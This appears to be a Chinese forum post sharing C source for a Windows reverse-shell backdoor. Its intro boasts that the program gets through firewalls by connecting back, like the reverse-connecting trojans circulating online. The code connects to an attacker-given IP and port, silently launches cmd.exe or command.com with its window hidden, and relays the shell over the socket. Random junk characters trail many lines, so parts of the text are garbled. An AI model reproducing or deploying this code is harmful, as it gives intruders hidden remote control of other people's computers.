这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 qvG@kuz8g5
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/* ============================== _ UGR+0'Q\
Rebound port in Windows NT z~(3S8$
By wind,2006/7 $*hqF1Q
===============================*/ z1S
p'h$
#include 2rPmu
#include H<Ik.]m
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#pragma comment(lib,"wsock32.lib") }WDzzjDR+
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void OutputShell(); TP{2q51yM
SOCKET sClient; B"?ivxM:U
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; #.j}:
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void main(int argc,char **argv) bYAtUEv
{ .W
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WSADATA stWsaData; w;;9YFBdM
int nRet; ,=V9?
SOCKADDR_IN stSaiClient,stSaiServer; <NXJ&xs-+
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if(argc != 3) Gy)2
{ D$Eq~VQ
printf("Useage:\n\rRebound DestIP DestPort\n"); yc+pNC)ue_
return; !
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} B;e (5y-
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WSAStartup(MAKEWORD(2,2),&stWsaData); ZXl_cq2r
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); +h08uo5c
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stSaiClient.sin_family = AF_INET; E.N
stSaiClient.sin_port = htons(0); #f<3[BLx
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); S`8Iu[Ma
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) );;UA6CD
{ T:Nc^QP|tm
printf("Bind Socket Failed!\n"); Z7XFG&@6
return; N@0cn
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} c{
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stSaiServer.sin_family = AF_INET; CorV!H4
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); F:N8{puq5
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]);
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) l"-Z#[
{ 8qL.L(=\/
printf("Connect Error!"); &-Ylj
return; Z C<+BKS
} -}3nIk<N
OutputShell(); Vh{(*p
} Z@(KZ|
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void OutputShell() LUdXAi"f
{ 6n^@Ps
char szBuff[1024];
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SECURITY_ATTRIBUTES stSecurityAttributes; "+E\os72|
OSVERSIONINFO stOsversionInfo; _iL?kf
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ?N^1v&Q
STARTUPINFO stStartupInfo; ?4^ 0xGyE
char *szShell; +z4E:v
PROCESS_INFORMATION stProcessInformation; &`oybm-p(
unsigned long lBytesRead; h4#'@%
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); #a9O3C/MP
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ,x$^^
stSecurityAttributes.lpSecurityDescriptor = 0; M|NQoQ8q
stSecurityAttributes.bInheritHandle = TRUE; .$@+ /@4
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 5|5p -B
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); HuJc*op-6
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); XO+rg&Pu
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "9 f+F
stStartupInfo.wShowWindow = SW_HIDE; "([/G?QAG
stStartupInfo.hStdInput = hReadPipe; h+ud[atk.
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; Z?xRSi2~7
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GetVersionEx(&stOsversionInfo); @{W"mc+
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switch(stOsversionInfo.dwPlatformId) u"4B5D
{ Evd|_ W-
case 1: hH HQmK<r
szShell = "command.com"; axpZ`BUc
break; )+R n[MMp
default: wZs 2aa
szShell = "cmd.exe"; qV6WT&)T
break; uFhaN\S
} [dAQrou6P
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); J ZkQ/vp(
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send(sClient,szMsg,77,0); a>x6n3{
while(1) /ywP
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{ g(Q1d-L4e
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); z_N";Rn
if(lBytesRead) aCI3Tx&2qT
{ K{{_qFj@<y
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ^Kg n:l
send(sClient,szBuff,lBytesRead,0); fjOq@thD
} T;?k]4.X
else aL%E#
{ |R1T;J<[
lBytesRead=recv(sClient,szBuff,1024,0); SiUu**zC
if(lBytesRead<=0) break; yOt#6Vw
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 1[T7;i$
} Qn,6s%n
} _&/ {A|n
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return; B0%=! &
}